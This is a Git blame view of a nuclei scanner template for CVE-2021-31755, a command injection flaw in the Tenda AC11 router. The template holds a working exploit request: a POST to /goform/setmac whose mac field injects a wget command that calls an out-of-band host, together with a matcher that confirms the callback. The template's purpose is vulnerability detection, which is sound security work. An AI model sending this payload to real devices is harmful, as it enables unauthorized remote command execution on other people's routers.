daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/cves/2021/CVE-2021-31755.yaml

34 lines
1.7 KiB
YAML
Raw Normal View History

Create CVE-2021-31755.yaml Vulnerabilities in the web-based management interface of enda Router AC11 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-15 06:09:26 +00:00
id: CVE-2021-31755
info:
name: Tenda Router AC11 RCE
description: Vulnerabilities in the web-based management interface of enda Router AC11 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
author: gy741
severity: critical
Removed pipe (|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84
2021-08-18 11:37:49 +00:00
reference:
Create CVE-2021-31755.yaml Vulnerabilities in the web-based management interface of enda Router AC11 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-15 06:09:26 +00:00
- https://github.com/Yu3H0/IoT_CVE/tree/main/Tenda/CVE_3
- https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
Update tags (#3538)
2022-01-15 20:38:21 +00:00
tags: cve,cve2021,tenda,rce,oast,router,mirai
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2021-31755
cwe-id: CWE-787
Create CVE-2021-31755.yaml Vulnerabilities in the web-based management interface of enda Router AC11 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-15 06:09:26 +00:00
requests:
- raw:
- |
POST /goform/setmac HTTP/1.1
Host: {{Hostname}}
removed extra headers not required for template
2021-09-08 12:17:19 +00:00
Origin: {{BaseURL}}
Referer: {{BaseURL}}/index.htmlr
Create CVE-2021-31755.yaml Vulnerabilities in the web-based management interface of enda Router AC11 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-15 06:09:26 +00:00
Content-Type: application/x-www-form-urlencoded
module1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&mac=wget+http://{{interactsh-url}}&wifiSecurityMode=WPAWPA2%2FAES&wifiPwd=Password12345&wifiHideSSID=false&wifiEn_5G=true&wifiSSID_5G=Tenda_B0E040_5G&wifiSecurityMode_5G=WPAWPA2%2FAES&wifiPwd_5G=Password12345&wifiHideSSID_5G=false&module2=wifiGuest&guestEn=false&guestEn_5G=false&guestSSID=Tenda_VIP&guestSSID_5G=Tenda_VIP_5G&guestPwd=&guestPwd_5G=&guestValidTime=8&guestShareSpeed=0&module3=wifiPower&wifiPower=high&wifiPower_5G=high&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&wifiMode_5G=ac&wifiChannel_5G=auto&wifiBandwidth_5G=auto&wifiAntijamEn=false&module6=wifiBeamforming&wifiBeaformingEn=true&module7=wifiWPS&wpsEn=true&wanType=static
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"